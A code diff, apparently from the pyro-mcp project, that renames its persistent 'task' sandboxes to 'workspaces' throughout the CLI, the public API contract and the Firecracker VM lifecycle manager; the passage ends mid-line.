-179,16 +179,16 @@ def _print_task_summary_human(payload: dict[str, Any], *, action: str) -> None: ) -def _print_task_exec_human(payload: dict[str, Any]) -> None: +def _print_workspace_exec_human(payload: dict[str, Any]) -> None: stdout = str(payload.get("stdout", "")) stderr = str(payload.get("stderr", "")) _write_stream(stdout, stream=sys.stdout) _write_stream(stderr, stream=sys.stderr) print( - "[task-exec] " - f"task_id={str(payload.get('task_id', 'unknown'))} " + "[workspace-exec] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " f"sequence={int(payload.get('sequence', 0))} " - f"cwd={str(payload.get('cwd', TASK_WORKSPACE_GUEST_PATH))} " + f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " f"execution_mode={str(payload.get('execution_mode', 'unknown'))} " f"exit_code={int(payload.get('exit_code', 1))} " f"duration_ms={int(payload.get('duration_ms', 0))}", @@ -197,27 +197,27 @@ def _print_task_exec_human(payload: dict[str, Any]) -> None: ) -def _print_task_sync_human(payload: dict[str, Any]) -> None: +def _print_workspace_sync_human(payload: dict[str, Any]) -> None: workspace_sync = payload.get("workspace_sync") if not isinstance(workspace_sync, dict): - print(f"Synced task: {str(payload.get('task_id', 'unknown'))}") + print(f"Synced workspace: {str(payload.get('workspace_id', 'unknown'))}") return print( - "[task-sync] " - f"task_id={str(payload.get('task_id', 'unknown'))} " + "[workspace-sync] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " f"mode={str(workspace_sync.get('mode', 'unknown'))} " f"source={str(workspace_sync.get('source_path', 'unknown'))} " - f"destination={str(workspace_sync.get('destination', TASK_WORKSPACE_GUEST_PATH))} " + f"destination={str(workspace_sync.get('destination', WORKSPACE_GUEST_PATH))} " f"entry_count={int(workspace_sync.get('entry_count', 0))} " f"bytes_written={int(workspace_sync.get('bytes_written', 0))} " f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" ) -def _print_task_logs_human(payload: dict[str, Any]) -> None: +def _print_workspace_logs_human(payload: dict[str, Any]) -> None: entries = payload.get("entries") if not isinstance(entries, list) or not entries: - print("No task logs found.") + print("No workspace logs found.") return for entry in entries: if not isinstance(entry, dict): @@ -226,7 +226,7 @@ def _print_task_logs_human(payload: dict[str, Any]) -> None: f"#{int(entry.get('sequence', 0))} " f"exit_code={int(entry.get('exit_code', -1))} " f"duration_ms={int(entry.get('duration_ms', 0))} " - f"cwd={str(entry.get('cwd', TASK_WORKSPACE_GUEST_PATH))}" + f"cwd={str(entry.get('cwd', WORKSPACE_GUEST_PATH))}" ) print(f"$ {str(entry.get('command', ''))}") stdout = str(entry.get("stdout", "")) @@ -267,8 +267,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro run debian:12 -- git --version Need repeated commands in one workspace after that? - pyro task create debian:12 --source-path ./repo - pyro task sync push TASK_ID ./changes + pyro workspace create debian:12 --seed-path ./repo + pyro workspace sync push WORKSPACE_ID ./changes Use `pyro mcp serve` only after the CLI validation path works. """ @@ -463,9 +463,9 @@ def _build_parser() -> argparse.ArgumentParser: ), ) - task_parser = subparsers.add_parser( - "task", - help="Manage persistent task workspaces.", + workspace_parser = subparsers.add_parser( + "workspace", + help="Manage persistent workspaces.", description=( "Create a persistent workspace when you need repeated commands in one " "sandbox instead of one-shot `pyro run`." @@ -473,58 +473,62 @@ def _build_parser() -> argparse.ArgumentParser: epilog=dedent( """ Examples: - pyro task create debian:12 --source-path ./repo - pyro task sync push TASK_ID ./repo --dest src - pyro task exec TASK_ID -- sh -lc 'printf "hello\\n" > note.txt' - pyro task logs TASK_ID + pyro workspace create debian:12 --seed-path ./repo + pyro workspace sync push WORKSPACE_ID ./repo --dest src + pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' + pyro workspace logs WORKSPACE_ID """ ), formatter_class=_HelpFormatter, ) - task_subparsers = task_parser.add_subparsers(dest="task_command", required=True, metavar="TASK") - task_create_parser = task_subparsers.add_parser( + workspace_subparsers = workspace_parser.add_subparsers( + dest="workspace_command", + required=True, + metavar="WORKSPACE", + ) + workspace_create_parser = workspace_subparsers.add_parser( "create", - help="Create and start a persistent task workspace.", - description="Create a task workspace that stays alive across repeated exec calls.", + help="Create and start a persistent workspace.", + description="Create a persistent workspace that stays alive across repeated exec calls.", epilog=dedent( """ Examples: - pyro task create debian:12 - pyro task create debian:12 --source-path ./repo - pyro task sync push TASK_ID ./changes + pyro workspace create debian:12 + pyro workspace create debian:12 --seed-path ./repo + pyro workspace sync push WORKSPACE_ID ./changes """ ), formatter_class=_HelpFormatter, ) - task_create_parser.add_argument( + workspace_create_parser.add_argument( "environment", metavar="ENVIRONMENT", help="Curated environment to boot, for example `debian:12`.", ) - task_create_parser.add_argument( + workspace_create_parser.add_argument( "--vcpu-count", type=int, default=DEFAULT_VCPU_COUNT, - help="Number of virtual CPUs to allocate to the task guest.", + help="Number of virtual CPUs to allocate to the guest.", ) - task_create_parser.add_argument( + workspace_create_parser.add_argument( "--mem-mib", type=int, default=DEFAULT_MEM_MIB, help="Guest memory allocation in MiB.", ) - task_create_parser.add_argument( + workspace_create_parser.add_argument( "--ttl-seconds", type=int, default=600, - help="Time-to-live for the task before automatic cleanup.", + help="Time-to-live for the workspace before automatic cleanup.", ) - task_create_parser.add_argument( + workspace_create_parser.add_argument( "--network", action="store_true", - help="Enable outbound guest networking for the task guest.", + help="Enable outbound guest networking for the workspace guest.", ) - task_create_parser.add_argument( + workspace_create_parser.add_argument( "--allow-host-compat", action="store_true", help=( @@ -532,143 +536,153 @@ def _build_parser() -> argparse.ArgumentParser: "is unavailable." ), ) - task_create_parser.add_argument( - "--source-path", + workspace_create_parser.add_argument( + "--seed-path", help=( "Optional host directory or .tar/.tar.gz/.tgz archive to seed into `/workspace` " - "before the task is returned." + "before the workspace is returned." ), ) - task_create_parser.add_argument( + workspace_create_parser.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", ) - task_exec_parser = task_subparsers.add_parser( + workspace_exec_parser = workspace_subparsers.add_parser( "exec", - help="Run one command inside an existing task workspace.", - description="Run one non-interactive command in the persistent `/workspace` for a task.", - epilog="Example:\n pyro task exec TASK_ID -- cat note.txt", + help="Run one command inside an existing workspace.", + description=( + "Run one non-interactive command in the persistent `/workspace` " + "for a workspace." + ), + epilog="Example:\n pyro workspace exec WORKSPACE_ID -- cat note.txt", formatter_class=_HelpFormatter, ) - task_exec_parser.add_argument("task_id", metavar="TASK_ID", help="Persistent task identifier.") - task_exec_parser.add_argument( + workspace_exec_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_exec_parser.add_argument( "--timeout-seconds", type=int, default=30, - help="Maximum time allowed for the task command.", + help="Maximum time allowed for the workspace command.", ) - task_exec_parser.add_argument( + workspace_exec_parser.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", ) - task_exec_parser.add_argument( + workspace_exec_parser.add_argument( "command_args", nargs="*", metavar="ARG", help=( - "Command and arguments to run inside the task workspace. Prefix them with `--`, " - "for example `pyro task exec TASK_ID -- cat note.txt`." + "Command and arguments to run inside the workspace. Prefix them with `--`, " + "for example `pyro workspace exec WORKSPACE_ID -- cat note.txt`." ), ) - task_sync_parser = task_subparsers.add_parser( + workspace_sync_parser = workspace_subparsers.add_parser( "sync", - help="Push host content into a started task workspace.", + help="Push host content into a started workspace.", description=( "Push host directory or archive content into `/workspace` for an existing " - "started task." + "started workspace." ), epilog=dedent( """ Examples: - pyro task sync push TASK_ID ./repo - pyro task sync push TASK_ID ./patches --dest src + pyro workspace sync push WORKSPACE_ID ./repo + pyro workspace sync push WORKSPACE_ID ./patches --dest src - Sync is non-atomic. If a sync fails partway through, delete and recreate the task. + Sync is non-atomic. If a sync fails partway through, delete and recreate the workspace. """ ), formatter_class=_HelpFormatter, ) - task_sync_subparsers = task_sync_parser.add_subparsers( - dest="task_sync_command", + workspace_sync_subparsers = workspace_sync_parser.add_subparsers( + dest="workspace_sync_command", required=True, metavar="SYNC", ) - task_sync_push_parser = task_sync_subparsers.add_parser( + workspace_sync_push_parser = workspace_sync_subparsers.add_parser( "push", - help="Push one host directory or archive into a started task.", + help="Push one host directory or archive into a started workspace.", description="Import host content into `/workspace` or a subdirectory of it.", - epilog="Example:\n pyro task sync push TASK_ID ./repo --dest src", + epilog="Example:\n pyro workspace sync push WORKSPACE_ID ./repo --dest src", formatter_class=_HelpFormatter, ) - task_sync_push_parser.add_argument( - "task_id", - metavar="TASK_ID", - help="Persistent task identifier.", + workspace_sync_push_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", ) - task_sync_push_parser.add_argument( + workspace_sync_push_parser.add_argument( "source_path", metavar="SOURCE_PATH", - help="Host directory or .tar/.tar.gz/.tgz archive to push into the task workspace.", + help="Host directory or .tar/.tar.gz/.tgz archive to push into the workspace.", ) - task_sync_push_parser.add_argument( + workspace_sync_push_parser.add_argument( "--dest", - default=TASK_WORKSPACE_GUEST_PATH, + default=WORKSPACE_GUEST_PATH, help="Workspace destination path. Relative values resolve inside `/workspace`.", ) - task_sync_push_parser.add_argument( + workspace_sync_push_parser.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", ) - task_status_parser = task_subparsers.add_parser( + workspace_status_parser = workspace_subparsers.add_parser( "status", - help="Inspect one task workspace.", - description="Show task state, sizing, workspace path, and latest command metadata.", - epilog="Example:\n pyro task status TASK_ID", + help="Inspect one workspace.", + description="Show workspace state, sizing, workspace path, and latest command metadata.", + epilog="Example:\n pyro workspace status WORKSPACE_ID", formatter_class=_HelpFormatter, ) - task_status_parser.add_argument( - "task_id", - metavar="TASK_ID", - help="Persistent task identifier.", + workspace_status_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", ) - task_status_parser.add_argument( + workspace_status_parser.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", ) - task_logs_parser = task_subparsers.add_parser( + workspace_logs_parser = workspace_subparsers.add_parser( "logs", - help="Show command history for one task.", - description="Show persisted command history, including stdout and stderr, for one task.", - epilog="Example:\n pyro task logs TASK_ID", + help="Show command history for one workspace.", + description=( + "Show persisted command history, including stdout and stderr, " + "for one workspace." + ), + epilog="Example:\n pyro workspace logs WORKSPACE_ID", formatter_class=_HelpFormatter, ) - task_logs_parser.add_argument( - "task_id", - metavar="TASK_ID", - help="Persistent task identifier.", + workspace_logs_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", ) - task_logs_parser.add_argument( + workspace_logs_parser.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", ) - task_delete_parser = task_subparsers.add_parser( + workspace_delete_parser = workspace_subparsers.add_parser( "delete", - help="Delete one task workspace.", - description="Stop the backing sandbox if needed and remove the task workspace.", - epilog="Example:\n pyro task delete TASK_ID", + help="Delete one workspace.", + description="Stop the backing sandbox if needed and remove the workspace.", + epilog="Example:\n pyro workspace delete WORKSPACE_ID", formatter_class=_HelpFormatter, ) - task_delete_parser.add_argument( - "task_id", - metavar="TASK_ID", - help="Persistent task identifier.", + workspace_delete_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", ) - task_delete_parser.add_argument( + workspace_delete_parser.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", @@ -847,28 +861,28 @@ def main() -> None: if exit_code != 0: raise SystemExit(exit_code) return - if args.command == "task": - if args.task_command == "create": - payload = pyro.create_task( + if args.command == "workspace": + if args.workspace_command == "create": + payload = pyro.create_workspace( environment=args.environment, vcpu_count=args.vcpu_count, mem_mib=args.mem_mib, ttl_seconds=args.ttl_seconds, network=args.network, allow_host_compat=args.allow_host_compat, - source_path=args.source_path, + seed_path=args.seed_path, ) if bool(args.json): _print_json(payload) else: - _print_task_summary_human(payload, action="Task") + _print_workspace_summary_human(payload, action="Workspace") return - if args.task_command == "exec": + if args.workspace_command == "exec": command = _require_command(args.command_args) if bool(args.json): try: - payload = pyro.exec_task( - args.task_id, + payload = pyro.exec_workspace( + args.workspace_id, command=command, timeout_seconds=args.timeout_seconds, ) @@ -878,24 +892,24 @@ def main() -> None: _print_json(payload) else: try: - payload = pyro.exec_task( - args.task_id, + payload = pyro.exec_workspace( + args.workspace_id, command=command, timeout_seconds=args.timeout_seconds, ) except Exception as exc: # noqa: BLE001 print(f"[error] {exc}", file=sys.stderr, flush=True) raise SystemExit(1) from exc - _print_task_exec_human(payload) + _print_workspace_exec_human(payload) exit_code = int(payload.get("exit_code", 1)) if exit_code != 0: raise SystemExit(exit_code) return - if args.task_command == "sync" and args.task_sync_command == "push": + if args.workspace_command == "sync" and args.workspace_sync_command == "push": if bool(args.json): try: - payload = pyro.push_task_sync( - args.task_id, + payload = pyro.push_workspace_sync( + args.workspace_id, args.source_path, dest=args.dest, ) @@ -905,36 +919,36 @@ def main() -> None: _print_json(payload) else: try: - payload = pyro.push_task_sync( - args.task_id, + payload = pyro.push_workspace_sync( + args.workspace_id, args.source_path, dest=args.dest, ) except Exception as exc: # noqa: BLE001 print(f"[error] {exc}", file=sys.stderr, flush=True) raise SystemExit(1) from exc - _print_task_sync_human(payload) + _print_workspace_sync_human(payload) return - if args.task_command == "status": - payload = pyro.status_task(args.task_id) + if args.workspace_command == "status": + payload = pyro.status_workspace(args.workspace_id) if bool(args.json): _print_json(payload) else: - _print_task_summary_human(payload, action="Task") + _print_workspace_summary_human(payload, action="Workspace") return - if args.task_command == "logs": - payload = pyro.logs_task(args.task_id) + if args.workspace_command == "logs": + payload = pyro.logs_workspace(args.workspace_id) if bool(args.json): _print_json(payload) else: - _print_task_logs_human(payload) + _print_workspace_logs_human(payload) return - if args.task_command == "delete": - payload = pyro.delete_task(args.task_id) + if args.workspace_command == "delete": + payload = pyro.delete_workspace(args.workspace_id) if bool(args.json): _print_json(payload) else: - print(f"Deleted task: {str(payload.get('task_id', 'unknown'))}") + print(f"Deleted workspace: {str(payload.get('workspace_id', 'unknown'))}") return if args.command == "doctor": payload = doctor_report(platform=args.platform) diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 971c7d7..61335f0 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -2,21 +2,21 @@ from __future__ import annotations -PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run", "task") +PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run", "workspace") PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",) PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") -PUBLIC_CLI_TASK_SUBCOMMANDS = ("create", "delete", "exec", "logs", "status", "sync") -PUBLIC_CLI_TASK_SYNC_SUBCOMMANDS = ("push",) -PUBLIC_CLI_TASK_CREATE_FLAGS = ( +PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ("create", "delete", "exec", "logs", "status", "sync") +PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",) +PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--vcpu-count", "--mem-mib", "--ttl-seconds", "--network", "--allow-host-compat", - "--source-path", + "--seed-path", "--json", ) -PUBLIC_CLI_TASK_SYNC_PUSH_FLAGS = ("--dest", "--json") +PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json") PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", "--mem-mib", @@ -29,24 +29,24 @@ PUBLIC_CLI_RUN_FLAGS = ( PUBLIC_SDK_METHODS = ( "create_server", - "create_task", "create_vm", - "delete_task", + "create_workspace", "delete_vm", - "exec_task", + "delete_workspace", "exec_vm", + "exec_workspace", "inspect_environment", "list_environments", - "logs_task", + "logs_workspace", "network_info_vm", "prune_environments", "pull_environment", - "push_task_sync", + "push_workspace_sync", "reap_expired", "run_in_vm", "start_vm", - "status_task", "status_vm", + "status_workspace", "stop_vm", ) @@ -61,10 +61,10 @@ PUBLIC_MCP_TOOLS = ( "vm_start", "vm_status", "vm_stop", - "task_create", - "task_delete", - "task_exec", - "task_logs", - "task_status", - "task_sync_push", + "workspace_create", + "workspace_delete", + "workspace_exec", + "workspace_logs", + "workspace_status", + "workspace_sync_push", ) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 12619c1..5a0bf99 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.3.0" +DEFAULT_CATALOG_VERSION = "2.4.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 9d5ca3a..34de2e7 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -1,4 +1,4 @@ -"""Lifecycle manager for ephemeral VM environments and persistent tasks.""" +"""Lifecycle manager for ephemeral VM environments and persistent workspaces.""" from __future__ import annotations @@ -36,13 +36,13 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False -TASK_LAYOUT_VERSION = 2 -TASK_WORKSPACE_DIRNAME = "workspace" -TASK_COMMANDS_DIRNAME = "commands" -TASK_RUNTIME_DIRNAME = "runtime" -TASK_WORKSPACE_GUEST_PATH = "/workspace" -TASK_GUEST_AGENT_PATH = "/opt/pyro/bin/pyro_guest_agent.py" -TASK_ARCHIVE_UPLOAD_TIMEOUT_SECONDS = 60 +WORKSPACE_LAYOUT_VERSION = 2 +WORKSPACE_DIRNAME = "workspace" +WORKSPACE_COMMANDS_DIRNAME = "commands" +WORKSPACE_RUNTIME_DIRNAME = "runtime" +WORKSPACE_GUEST_PATH = "/workspace" +WORKSPACE_GUEST_AGENT_PATH = "/opt/pyro/bin/pyro_guest_agent.py" +WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS = 60 WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] @@ -69,10 +69,10 @@ class VmInstance: @dataclass -class TaskRecord: - """Persistent task metadata stored on disk.""" +class WorkspaceRecord: + """Persistent workspace metadata stored on disk.""" - task_id: str + workspace_id: str environment: str vcpu_count: int mem_mib: int @@ -98,9 +98,9 @@ class TaskRecord: command_count: int = 0, last_command: dict[str, Any] | None = None, workspace_seed: dict[str, Any] | None = None, - ) -> TaskRecord: + ) -> WorkspaceRecord: return cls( - task_id=instance.vm_id, + workspace_id=instance.vm_id, environment=instance.environment, vcpu_count=instance.vcpu_count, mem_mib=instance.mem_mib, @@ -121,7 +121,7 @@ class TaskRecord: def to_instance(self, *, workdir: Path) -> VmInstance: return VmInstance( - vm_id=self.task_id, + vm_id=self.workspace_id, environment=self.environment, vcpu_count=self.vcpu_count, mem_mib=self.mem_mib, @@ -140,8 +140,8 @@ class TaskRecord: def to_payload(self) -> dict[str, Any]: return { - "layout_version": TASK_LAYOUT_VERSION, - "task_id": self.task_id, + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, "environment": self.environment, "vcpu_count": self.vcpu_count, "mem_mib": self.mem_mib, @@ -161,9 +161,9 @@ class TaskRecord: } @classmethod - def from_payload(cls, payload: dict[str, Any]) -> TaskRecord: + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceRecord: return cls( - task_id=str(payload["task_id"]), + workspace_id=str(payload["workspace_id"]), environment=str(payload["environment"]), vcpu_count=int(payload["vcpu_count"]), mem_mib=int(payload["mem_mib"]), @@ -179,7 +179,7 @@ class TaskRecord: network=_deserialize_network(payload.get("network")), command_count=int(payload.get("command_count", 0)), last_command=_optional_dict(payload.get("last_command")), - workspace_seed=_task_workspace_seed_dict(payload.get("workspace_seed")), + workspace_seed=_workspace_seed_dict(payload.get("workspace_seed")), ) @@ -194,10 +194,15 @@ class PreparedWorkspaceSeed: bytes_written: int = 0 cleanup_dir: Path | None = None - def to_payload(self, *, destination: str = TASK_WORKSPACE_GUEST_PATH) -> dict[str, Any]: + def to_payload( + self, + *, + destination: str = WORKSPACE_GUEST_PATH, + path_key: str = "seed_path", + ) -> dict[str, Any]: return { "mode": self.mode, - "source_path": self.source_path, + path_key: self.source_path, "destination": destination, "entry_count": self.entry_count, "bytes_written": self.bytes_written, @@ -255,21 +260,21 @@ def _string_dict(value: object) -> dict[str, str]: def _empty_workspace_seed_payload() -> dict[str, Any]: return { "mode": "empty", - "source_path": None, - "destination": TASK_WORKSPACE_GUEST_PATH, + "seed_path": None, + "destination": WORKSPACE_GUEST_PATH, "entry_count": 0, "bytes_written": 0, } -def _task_workspace_seed_dict(value: object) -> dict[str, Any]: +def _workspace_seed_dict(value: object) -> dict[str, Any]: if not isinstance(value, dict): return _empty_workspace_seed_payload() payload = _empty_workspace_seed_payload() payload.update( { "mode": str(value.get("mode", payload["mode"])), - "source_path": _optional_str(value.get("source_path")), + "seed_path": _optional_str(value.get("seed_path")), "destination": str(value.get("destination", payload["destination"])), "entry_count": int(value.get("entry_count", payload["entry_count"])), "bytes_written": int(value.get("bytes_written", payload["bytes_written"])), @@ -374,7 +379,7 @@ def _normalize_workspace_destination(destination: str) -> tuple[str, PurePosixPa destination_path = PurePosixPath(candidate) if any(part == ".." for part in destination_path.parts): raise ValueError("workspace destination must stay inside /workspace") - workspace_root = PurePosixPath(TASK_WORKSPACE_GUEST_PATH) + workspace_root = PurePosixPath(WORKSPACE_GUEST_PATH) if not destination_path.is_absolute(): destination_path = workspace_root / destination_path parts = [part for part in destination_path.parts if part not in {"", "."}] @@ -510,7 +515,7 @@ def _extract_seed_archive_to_host_workspace( def _instance_workspace_host_dir(instance: VmInstance) -> Path: raw_value = instance.metadata.get("workspace_host_dir") if raw_value is None or raw_value == "": - raise RuntimeError("task workspace host directory is unavailable") + raise RuntimeError("workspace host directory is unavailable") return Path(raw_value) @@ -518,13 +523,13 @@ def _patch_rootfs_guest_agent(rootfs_image: Path, guest_agent_path: Path) -> Non debugfs_path = shutil.which("debugfs") if debugfs_path is None: raise RuntimeError( - "debugfs is required to seed task workspaces on guest-backed runtimes" + "debugfs is required to seed workspaces on guest-backed runtimes" ) with tempfile.TemporaryDirectory(prefix="pyro-guest-agent-") as temp_dir: staged_agent_path = Path(temp_dir) / "pyro_guest_agent.py" shutil.copy2(guest_agent_path, staged_agent_path) subprocess.run( # noqa: S603 - [debugfs_path, "-w", "-R", f"rm {TASK_GUEST_AGENT_PATH}", str(rootfs_image)], + [debugfs_path, "-w", "-R", f"rm {WORKSPACE_GUEST_AGENT_PATH}", str(rootfs_image)], text=True, capture_output=True, check=False, @@ -534,7 +539,7 @@ def _patch_rootfs_guest_agent(rootfs_image: Path, guest_agent_path: Path) -> Non debugfs_path, "-w", "-R", - f"write {staged_agent_path} {TASK_GUEST_AGENT_PATH}", + f"write {staged_agent_path} {WORKSPACE_GUEST_AGENT_PATH}", str(rootfs_image), ], text=True, @@ -543,7 +548,7 @@ def _patch_rootfs_guest_agent(rootfs_image: Path, guest_agent_path: Path) -> Non ) if proc.returncode != 0: raise RuntimeError( - "failed to patch guest agent into task rootfs: " + "failed to patch guest agent into workspace rootfs: " f"{proc.stderr.strip() or proc.stdout.strip()}" ) @@ -862,7 +867,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover port, archive_path, destination=destination, - timeout_seconds=TASK_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, + timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, uds_path=uds_path, ) return { @@ -885,7 +890,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover class VmManager: - """In-process lifecycle manager for ephemeral VM environments and tasks.""" + """In-process lifecycle manager for ephemeral VM environments and workspaces.""" MIN_VCPUS = 1 MAX_VCPUS = 8 @@ -911,7 +916,7 @@ class VmManager: ) -> None: self._backend_name = backend_name or "firecracker" self._base_dir = base_dir or Path("/tmp/pyro-mcp") - self._tasks_dir = self._base_dir / "tasks" + self._workspaces_dir = self._base_dir / "workspaces" resolved_cache_dir = cache_dir or default_cache_dir() self._runtime_paths = runtime_paths if self._backend_name == "firecracker": @@ -944,7 +949,7 @@ class VmManager: self._lock = threading.Lock() self._instances: dict[str, VmInstance] = {} self._base_dir.mkdir(parents=True, exist_ok=True) - self._tasks_dir.mkdir(parents=True, exist_ok=True) + self._workspaces_dir.mkdir(parents=True, exist_ok=True) self._backend = self._build_backend() def _build_backend(self) -> VmBackend: @@ -989,8 +994,8 @@ class VmManager: now = time.time() with self._lock: self._reap_expired_locked(now) - self._reap_expired_tasks_locked(now) - active_count = len(self._instances) + self._count_tasks_locked() + self._reap_expired_workspaces_locked(now) + active_count = len(self._instances) + self._count_workspaces_locked() if active_count >= self._max_active_vms: raise RuntimeError( f"max active VMs reached ({self._max_active_vms}); delete old VMs first" @@ -1126,7 +1131,7 @@ class VmManager: del self._instances[vm_id] return {"deleted_vm_ids": expired_vm_ids, "count": len(expired_vm_ids)} - def create_task( + def create_workspace( self, *, environment: str, @@ -1135,22 +1140,22 @@ class VmManager: ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - source_path: str | Path | None = None, + seed_path: str | Path | None = None, ) -> dict[str, Any]: self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) get_environment(environment, runtime_paths=self._runtime_paths) - prepared_seed = self._prepare_workspace_seed(source_path) + prepared_seed = self._prepare_workspace_seed(seed_path) now = time.time() - task_id = uuid.uuid4().hex[:12] - task_dir = self._task_dir(task_id) - runtime_dir = self._task_runtime_dir(task_id) - workspace_dir = self._task_workspace_dir(task_id) - commands_dir = self._task_commands_dir(task_id) - task_dir.mkdir(parents=True, exist_ok=False) - workspace_dir.mkdir(parents=True, exist_ok=True) + workspace_id = uuid.uuid4().hex[:12] + workspace_dir = self._workspace_dir(workspace_id) + runtime_dir = self._workspace_runtime_dir(workspace_id) + host_workspace_dir = self._workspace_host_dir(workspace_id) + commands_dir = self._workspace_commands_dir(workspace_id) + workspace_dir.mkdir(parents=True, exist_ok=False) + host_workspace_dir.mkdir(parents=True, exist_ok=True) commands_dir.mkdir(parents=True, exist_ok=True) instance = VmInstance( - vm_id=task_id, + vm_id=workspace_id, environment=environment, vcpu_count=vcpu_count, mem_mib=mem_mib, @@ -1162,13 +1167,13 @@ class VmManager: allow_host_compat=allow_host_compat, ) instance.metadata["allow_host_compat"] = str(allow_host_compat).lower() - instance.metadata["workspace_path"] = TASK_WORKSPACE_GUEST_PATH - instance.metadata["workspace_host_dir"] = str(workspace_dir) + instance.metadata["workspace_path"] = WORKSPACE_GUEST_PATH + instance.metadata["workspace_host_dir"] = str(host_workspace_dir) try: with self._lock: self._reap_expired_locked(now) - self._reap_expired_tasks_locked(now) - active_count = len(self._instances) + self._count_tasks_locked() + self._reap_expired_workspaces_locked(now) + active_count = len(self._instances) + self._count_workspaces_locked() if active_count >= self._max_active_vms: raise RuntimeError( f"max active VMs reached ({self._max_active_vms}); delete old VMs first" @@ -1178,7 +1183,7 @@ class VmManager: prepared_seed.archive_path is not None and self._runtime_capabilities.supports_guest_exec ): - self._ensure_task_guest_seed_support(instance) + self._ensure_workspace_guest_seed_support(instance) with self._lock: self._start_instance_locked(instance) self._require_guest_exec_or_opt_in(instance) @@ -1187,7 +1192,7 @@ class VmManager: import_summary = self._backend.import_archive( instance, archive_path=prepared_seed.archive_path, - destination=TASK_WORKSPACE_GUEST_PATH, + destination=WORKSPACE_GUEST_PATH, ) workspace_seed["entry_count"] = int(import_summary["entry_count"]) workspace_seed["bytes_written"] = int(import_summary["bytes_written"]) @@ -1195,14 +1200,14 @@ class VmManager: elif self._runtime_capabilities.supports_guest_exec: self._backend.exec( instance, - f"mkdir -p {shlex.quote(TASK_WORKSPACE_GUEST_PATH)}", + f"mkdir -p {shlex.quote(WORKSPACE_GUEST_PATH)}", 10, ) else: instance.metadata["execution_mode"] = "host_compat" - task = TaskRecord.from_instance(instance, workspace_seed=workspace_seed) - self._save_task_locked(task) - return self._serialize_task(task) + workspace = WorkspaceRecord.from_instance(instance, workspace_seed=workspace_seed) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) except Exception: if runtime_dir.exists(): try: @@ -1215,17 +1220,17 @@ class VmManager: self._backend.delete(instance) except Exception: pass - shutil.rmtree(task_dir, ignore_errors=True) + shutil.rmtree(workspace_dir, ignore_errors=True) raise finally: prepared_seed.cleanup() - def push_task_sync( + def push_workspace_sync( self, - task_id: str, + workspace_id: str, *, source_path: str | Path, - dest: str = TASK_WORKSPACE_GUEST_PATH, + dest: str = WORKSPACE_GUEST_PATH, ) -> dict[str, Any]: prepared_seed = self._prepare_workspace_seed(source_path) if prepared_seed.archive_path is None: @@ -1233,14 +1238,17 @@ class VmManager: raise ValueError("source_path is required") normalized_destination, _ = _normalize_workspace_destination(dest) with self._lock: - task = self._load_task_locked(task_id) - self._ensure_task_not_expired_locked(task, time.time()) - self._refresh_task_liveness_locked(task) - if task.state != "started": + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state != "started": raise RuntimeError( - f"task {task_id} must be in 'started' state before task_sync_push" + f"workspace {workspace_id} must be in 'started' state " + "before workspace_sync_push" ) - instance = task.to_instance(workdir=self._task_runtime_dir(task.task_id)) + instance = 